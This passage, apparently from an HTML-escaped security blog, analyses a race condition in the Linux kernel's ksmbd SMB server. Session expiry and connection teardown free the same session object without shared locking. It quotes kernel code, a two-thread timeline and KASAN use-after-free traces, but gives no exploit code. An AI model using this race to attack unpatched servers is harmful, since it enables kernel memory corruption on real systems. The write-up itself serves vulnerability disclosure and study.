		&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sess&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
			&lt;span class=&quot;n&quot;&gt;rc&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ENOMEM&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
			&lt;span class=&quot;k&quot;&gt;goto&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;out_err&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
		&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
		&lt;span class=&quot;n&quot;&gt;rsp&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;hdr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;SessionId&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;cpu_to_le64&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sess&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;id&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
		&lt;span class=&quot;n&quot;&gt;rc&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ksmbd_session_register&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;conn&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;sess&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// [2]&lt;/span&gt;
		&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;rc&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
			&lt;span class=&quot;k&quot;&gt;goto&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;out_err&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

		&lt;span class=&quot;n&quot;&gt;conn&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;binding&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;false&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;At &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;[1]&lt;/code&gt;, the session is created, by allocating the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sess&lt;/code&gt; object:&lt;/p&gt;

&lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c1&quot;&gt;// https://elixir.bootlin.com/linux/v6.11/source/fs/smb/server/mgmt/user_session.c#L381&lt;/span&gt;
	&lt;span class=&quot;n&quot;&gt;sess&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;kzalloc&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;sizeof&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;struct&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ksmbd_session&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;GFP_KERNEL&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
	&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sess&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
		&lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;NULL&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;At this point, during a larger number of simultaneous connections, some sessions can expire. As the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ksmbd_session_register&lt;/code&gt; at &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;[2]&lt;/code&gt; is invoked, it calls &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ksmbd_expire_session&lt;/code&gt; &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;[3]&lt;/code&gt;:&lt;/p&gt;

&lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c1&quot;&gt;// https://elixir.bootlin.com/linux/v6.11/source/fs/smb/server/mgmt/user_session.c#L192&lt;/span&gt;
&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;ksmbd_session_register&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;struct&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ksmbd_conn&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;conn&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
			   &lt;span class=&quot;k&quot;&gt;struct&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ksmbd_session&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sess&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
	&lt;span class=&quot;n&quot;&gt;sess&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;dialect&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;conn&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;dialect&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
	&lt;span class=&quot;n&quot;&gt;memcpy&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sess&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ClientGUID&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;conn&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ClientGUID&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;SMB2_CLIENT_GUID_SIZE&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
	&lt;span class=&quot;n&quot;&gt;ksmbd_expire_session&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;conn&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// [3]&lt;/span&gt;
	&lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;xa_err&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;xa_store&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;conn&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sessions&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;sess&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;id&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;sess&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;GFP_KERNEL&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;));&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Since there is no table locking implemented, the expired &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sess&lt;/code&gt; object could be removed from the table (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;[4]&lt;/code&gt;) and deallocated (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;[5]&lt;/code&gt;):&lt;/p&gt;
&lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c1&quot;&gt;// https://elixir.bootlin.com/linux/v6.11/source/fs/smb/server/mgmt/user_session.c#L173&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;static&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;ksmbd_expire_session&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;struct&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ksmbd_conn&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;conn&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
	&lt;span class=&quot;kt&quot;&gt;unsigned&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;long&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;id&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
	&lt;span class=&quot;k&quot;&gt;struct&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ksmbd_session&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sess&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

	&lt;span class=&quot;n&quot;&gt;down_write&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;conn&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;session_lock&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
	&lt;span class=&quot;n&quot;&gt;xa_for_each&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;conn&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sessions&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;id&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;sess&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
		&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;atomic_read&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sess&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;refcnt&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt;
		    &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sess&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;state&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;SMB2_SESSION_VALID&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;||&lt;/span&gt;
		     &lt;span class=&quot;n&quot;&gt;time_after&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;jiffies&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
			       &lt;span class=&quot;n&quot;&gt;sess&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;last_active&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;SMB2_SESSION_TIMEOUT&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)))&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
			&lt;span class=&quot;n&quot;&gt;xa_erase&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;conn&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sessions&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;sess&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;id&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
			&lt;span class=&quot;n&quot;&gt;hash_del&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sess&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;hlist&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// [4]&lt;/span&gt;
			&lt;span class=&quot;n&quot;&gt;ksmbd_session_destroy&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sess&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// [5]&lt;/span&gt;
			&lt;span class=&quot;k&quot;&gt;continue&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
		&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
	&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
	&lt;span class=&quot;n&quot;&gt;up_write&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;conn&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;session_lock&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;However, in another thread, the cleanup could be invoked when the connection is terminated in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ksmbd_server_terminate_conn&lt;/code&gt; by calling &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ksmbd_sessions_deregister&lt;/code&gt;, operating on the same table and without the appropriate lock (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;[6]&lt;/code&gt;):&lt;/p&gt;
&lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c1&quot;&gt;// https://elixir.bootlin.com/linux/v6.11/source/fs/smb/server/mgmt/user_session.c#L213&lt;/span&gt;
&lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;ksmbd_sessions_deregister&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;struct&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ksmbd_conn&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;conn&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
	&lt;span class=&quot;k&quot;&gt;struct&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ksmbd_session&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sess&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
	&lt;span class=&quot;kt&quot;&gt;unsigned&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;long&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;id&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

	&lt;span class=&quot;n&quot;&gt;down_write&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sessions_table_lock&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
	&lt;span class=&quot;c1&quot;&gt;// .. ignored, since the connection is not binding&lt;/span&gt;
	&lt;span class=&quot;n&quot;&gt;up_write&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sessions_table_lock&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;

	&lt;span class=&quot;n&quot;&gt;down_write&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;conn&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;session_lock&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
	&lt;span class=&quot;n&quot;&gt;xa_for_each&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;conn&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sessions&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;id&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;sess&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
		&lt;span class=&quot;kt&quot;&gt;unsigned&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;long&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;chann_id&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
		&lt;span class=&quot;k&quot;&gt;struct&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;channel&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;chann&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

		&lt;span class=&quot;n&quot;&gt;xa_for_each&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sess&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ksmbd_chann_list&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;chann_id&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;chann&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
			&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;chann&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;conn&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;conn&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
				&lt;span class=&quot;n&quot;&gt;ksmbd_conn_set_exiting&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;chann&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;conn&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
		&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

		&lt;span class=&quot;n&quot;&gt;ksmbd_chann_del&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;conn&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;sess&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
		&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;xa_empty&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sess&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ksmbd_chann_list&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
			&lt;span class=&quot;n&quot;&gt;xa_erase&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;conn&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sessions&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;sess&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;id&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
			&lt;span class=&quot;n&quot;&gt;hash_del&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sess&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;hlist&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// [6] &lt;/span&gt;
			&lt;span class=&quot;n&quot;&gt;ksmbd_session_destroy&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sess&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
		&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
	&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
	&lt;span class=&quot;n&quot;&gt;up_write&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;conn&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;session_lock&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;One possible flow is outlined here:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;Thread A                         | Thread B
---------------------------------|-----------------------------
ksmbd_session_register           | 
ksmbd_expire_session             |  
                                 | ksmbd_server_terminate_conn
                                 | ksmbd_sessions_deregister
ksmbd_session_destroy(sess)      |   |
    |                            |   |
    hash_del(&amp;amp;sess-&amp;gt;hlist);      |   |
    kfree(sess);                 |   |
                                 |   hash_del(&amp;amp;sess-&amp;gt;hlist);
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;When enabling KASAN, the issue was manifested by the following crashes:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;BUG: KASAN: slab-use-after-free in __hlist_del include/linux/list.h:990 [inline]
BUG: KASAN: slab-use-after-free in hlist_del_init include/linux/list.h:1016 [inline]
BUG: KASAN: slab-use-after-free in hash_del include/linux/hashtable.h:107 [inline]
BUG: KASAN: slab-use-after-free in ksmbd_sessions_deregister+0x569/0x5f0 fs/smb/server/mgmt/user_session.c:247
Write of size 8 at addr ffff888126050c70 by task ksmbd:51780/39072

BUG: KASAN: slab-use-after-free in hlist_add_head include/linux/list.h:1034 [inline]
BUG: KASAN: slab-use-after-free in __session_create fs/smb/server/mgmt/user_session.c:420 [inline]
BUG: KASAN: slab-use-after-free in ksmbd_smb2_session_create+0x74a/0x750 fs/smb/server/mgmt/user_session.c:432
Write of size 8 at addr ffff88816df5d070 by task kworker/5:2/139
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Both issues result in an out-of-bounds (OOB) write at offset 112.&lt;/p&gt;
&lt;h2 id=&quot;cve-2024-50283-ksmbd-fix-slab-use-after-free-in-smb3_preauth_hash_rsp&quot;&gt;CVE-2024-50283: ksmbd: fix slab-use-after-free in smb3_preauth_hash_rsp&lt;/h2&gt;

